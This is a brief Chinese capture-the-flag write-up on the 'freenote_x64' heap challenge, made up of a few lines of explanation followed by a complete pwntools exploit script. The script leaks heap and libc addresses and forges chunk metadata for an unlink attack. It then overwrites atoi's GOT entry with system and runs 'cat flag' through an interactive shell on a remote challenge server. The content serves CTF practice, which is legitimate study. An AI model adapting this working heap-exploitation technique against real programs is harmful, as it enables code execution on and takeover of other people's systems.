远程还没打。
    函数主要逻辑就是先申请一个很大的chunk然后这个chunk存放着你后面申请chunk的一些信息。很多判断也是通过这个chunk来实现，相当于一个我们可见的控制堆块，这对后面构造提供了方向
    主要是这里image.png
    realloc函数会将后面的地址也让你读入，这里对后面unlink有着很大的作用
    漏洞是在
    image.png
    unsorted bin你直接进行double free是有问题的刚开始我尝试了很久最后看了别人的博客才发现他们是通过topchunk来搞的。

    1. from pwn import*
    2. from LibcSearcher import*
    3. #context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. # io =process('./freenote_x64')
    6. io = remote("node4.buuoj.cn",28045)
    7. elf = ELF('./freenote_x64')
    8. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    10. libc = ELF('libc-2.23.so')
    11. def debug():
    12.     gdb.attach(io)
    13.     pause()
    14. def creat(length,value):
    15.     io.sendlineafter("Your choice: ",'2')
    16.     io.sendlineafter("Length of new note: ",str(length))
    17.     io.sendafter("Enter your note: ",value)
    18. def edit(id,length,value):
    19.     io.sendlineafter("Your choice: ",'3')
    20.     io.sendlineafter("Note number: ",str(id))
    21.     io.sendlineafter("Length of note: ",str(length))
    22.     io.sendafter('Enter your note: ',value)
    23. def show():
    24.     io.sendlineafter("Your choice: ",'1')
    25. def free(id):
    26.     io.sendlineafter("Your choice: ",'4')
    27.     io.sendlineafter("Note number: ",str(id))
    28. creat(0x50,b'a'*0x50)
    29. creat(0x30,b'b'*0x30)
    30. creat(0x50,b'c'*0x50)
    31. creat(0x30,b'd'*0x50)
    32. io.send("\n")
    33. free(0)
    34. free(2)
    35. creat(0x8,b'a'*8)
    36. creat(0x8,b'c'*8)
    37. #show(0)
    38. show()
    39. io.recvuntil("0. aaaaaaaa")
    40. chunk_addr = u64(io.recvuntil("\n")[:-1].ljust(8,"\x00")) -6464+0x30
    41. log.success("chunk_addr--------------->"+hex(chunk_addr))
    42. io.recvuntil("2. cccccccc")
    43. libcbase = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-3951480
    44. log.success("libcbase----------------------->"+hex(libcbase))
    45. free(1)
    46. free(2)
    47. free(3)
    48. payload = p64(0)+p64(0x81)+p64(chunk_addr-0x18)+p64(chunk_addr-0x10)
    49. payload += b'a'*0x60 + p64(0x80)+p64(0x90)
    50. payload +=b'a'*0x80 + p64(0x90)+p64(0x121)
    51. edit(0,len(payload),payload)
    53. free(1)
    54. #debug()
    55. atoi_got =elf.got["atoi"]
    56. system_addr = libcbase+libc.sym["system"]
    57. payload = p64(0)+p64(1)+p64(8)+p64(atoi_got)
    58. payload +=b'a'*0x100
    59. edit(0,len(payload),payload)
    60. edit(0,len(p64(system_addr)),p64(system_addr))
    61. io.sendline("cat flag")
    62. io.interactive()